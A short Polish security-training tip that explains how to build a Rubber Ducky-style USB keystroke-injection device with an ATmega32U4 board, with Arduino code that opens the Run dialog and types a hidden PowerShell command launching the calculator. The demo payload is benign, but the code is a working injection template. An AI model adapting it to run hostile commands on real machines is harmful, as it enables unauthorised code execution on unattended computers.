alphasec academy

Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky

Dodatkowe informacje

Na pewno znacie Rubber Ducky czyli urządzenie przypominające zwykłego pendrive, które po włożeniu do portu USB zachowa się jak klawiatura, która wpisze wcześniej przygotowany payload. Rubber Ducky nie jest tani, do tego dochodzi wysyłka, natomiast w łatwy sposób jako alternatywę, możemy wykorzystać dowolny mikrokontroler, który posiada sprzętową obsługą USB - np. ATmega 32U4. Płytek prototypowych z tym mikrokontrolerem jest pod dostatkiem (spójrzcie w sekcję linki lub po prostu wysukajcie w ulubionych sklepach z elektroniką), natomiast przykładowy kod, z wykorzystaniem platformy Arduino uruchamiający kalkulator powershellem, mógłby wyglądać następująco:
#include "Keyboard.h"

void typeKey(uint8_t key) {
    Keyboard.press(key);
    delay(50);
    Keyboard.release(key);
}

void setup() {
    Keyboard.begin();

    delay(2000);

    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    Keyboard.releaseAll();

    delay(200);
    Keyboard.print(F("powershell -w h -c \"calc.exe\""));

    typeKey(KEY_RETURN);

    delay(200);
    Keyboard.end();
}

void loop() {}

Przydatne linki


Subskrybuj

Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.